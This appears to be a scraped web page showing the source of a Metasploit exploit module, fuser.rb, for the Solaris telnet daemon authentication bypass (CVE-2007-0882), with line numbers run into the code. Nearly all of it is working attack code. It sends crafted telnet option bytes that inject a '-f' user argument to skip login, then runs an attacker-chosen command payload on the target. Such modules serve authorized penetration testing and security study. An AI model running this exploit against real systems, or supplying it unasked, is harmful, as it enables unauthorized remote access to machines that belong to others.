Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/telnet/fuser.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',13'Description' => %q{14This module exploits the argument injection vulnerability15in the telnet daemon (in.telnetd) of Solaris 10 and 11.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2007-0882' ],22[ 'OSVDB', '31881'],23[ 'BID', '22512' ],24],25'Privileged' => false,26'Platform' => %w{ solaris unix },27'Arch' => ARCH_CMD,28'Payload' =>29{30'Space' => 2000,31'BadChars' => '',32'DisableNops' => true,33'Compat' =>34{35'PayloadType' => 'cmd',36'RequiredCmd' => 'generic perl telnet',37}38},39'Targets' =>40[41['Automatic', { }],42],43'DisclosureDate' => '2007-02-12',44'DefaultTarget' => 0))4546register_options(47[48Opt::RPORT(23),49OptString.new('USER', [ true, "The username to use", "bin" ]),50])51end5253def exploit54connect5556print_status('Setting USER environment variable...')5758req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"59req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"60req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"6162sock.put(req)63sock.get_once6465req << "\xFF\xFC\x25"6667sock.put(req)68sock.get_once6970req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"7172sock.put(req)73sock.get_once7475req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"7677sock.put(req)78sock.get_once7980req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"8182sock.put(req)83sock.get_once8485req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"86req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"87req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"8889sock.put(req)90sock.get_once91select(nil,nil,nil,0.25)9293sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")9495select(nil,nil,nil,0.25)9697handler98end99end100101102